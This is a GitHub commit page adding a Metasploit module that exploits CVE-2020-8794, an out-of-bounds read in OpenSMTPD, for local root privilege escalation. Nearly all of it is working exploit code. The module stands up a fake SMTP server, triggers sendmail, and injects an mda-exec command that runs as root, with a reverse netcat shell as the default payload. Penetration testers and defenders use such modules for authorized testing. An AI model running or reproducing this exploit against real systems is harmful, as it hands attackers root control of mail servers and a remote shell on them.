Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add OpenSMTPD CVE-2020-8794 LPE exploit
- Loading branch information
Showing
1 changed file
with
109 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,109 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
|
||
# smtpd(8) may crash on a malformed message | ||
Rank = AverageRanking | ||
|
||
include Msf::Exploit::Remote::TcpServer | ||
include Msf::Exploit::Expect | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation', | ||
'Description' => %q{ | ||
This module exploits an out-of-bounds read of an attacker-controlled | ||
string in OpenSMTPD's MTA implementation to execute a command as the | ||
root user. | ||
}, | ||
'Author' => [ | ||
'Qualys', # Discovery and PoC | ||
'wvu' # Module | ||
], | ||
'References' => [ | ||
['CVE', '2020-8794'], | ||
['URL', 'https://seclists.org/oss-sec/2020/q1/96'] | ||
], | ||
'DisclosureDate' => '2020-02-24', | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Privileged' => true, | ||
'Targets' => [['OpenSMTPD >= commit a8e222352f', {}]], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'SRVPORT' => 25, | ||
'PAYLOAD' => 'cmd/unix/reverse_netcat', | ||
'WfsDelay' => 60 # May take a little while for mail to process | ||
} | ||
)) | ||
|
||
register_advanced_options([ | ||
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) | ||
]) | ||
end | ||
|
||
def srvhost_addr | ||
Rex::Socket.source_address(session.session_host) | ||
end | ||
|
||
def rcpt_to | ||
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" | ||
end | ||
|
||
def exploit | ||
start_service | ||
|
||
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" | ||
|
||
print_status("Executing local sendmail(8) command: #{sendmail}") | ||
if cmd_exec(sendmail) != 'true' | ||
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') | ||
end | ||
end | ||
|
||
def on_client_connect(client) | ||
print_status("Client #{client.peerhost}:#{client.peerport} connected") | ||
|
||
# Brilliant work, Qualys! | ||
yeet = <<~EOF | ||
553- | ||
553 | ||
dispatcher: local_mail | ||
type: mda | ||
mda-user: root | ||
mda-exec: #{payload.encoded}; exit 0\x00 | ||
EOF | ||
|
||
sploit = { | ||
'220' => /EHLO /, | ||
'250' => /MAIL FROM:<[^>]/, | ||
yeet => nil | ||
} | ||
|
||
print_status('Faking SMTP server and sending exploit') | ||
sploit.each do |line, pattern| | ||
send_expect( | ||
line, | ||
pattern, | ||
sock: client, | ||
newline: "\r\n", | ||
timeout: datastore['ExpectTimeout'] | ||
) | ||
end | ||
rescue Timeout::Error => e | ||
fail_with(Failure::TimeoutExpired, e.message) | ||
ensure | ||
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") | ||
client.close | ||
end | ||
|
||
def on_client_close(client) | ||
print_status("Client #{client.peerhost}:#{client.peerport} disconnected") | ||
end | ||
|
||
end |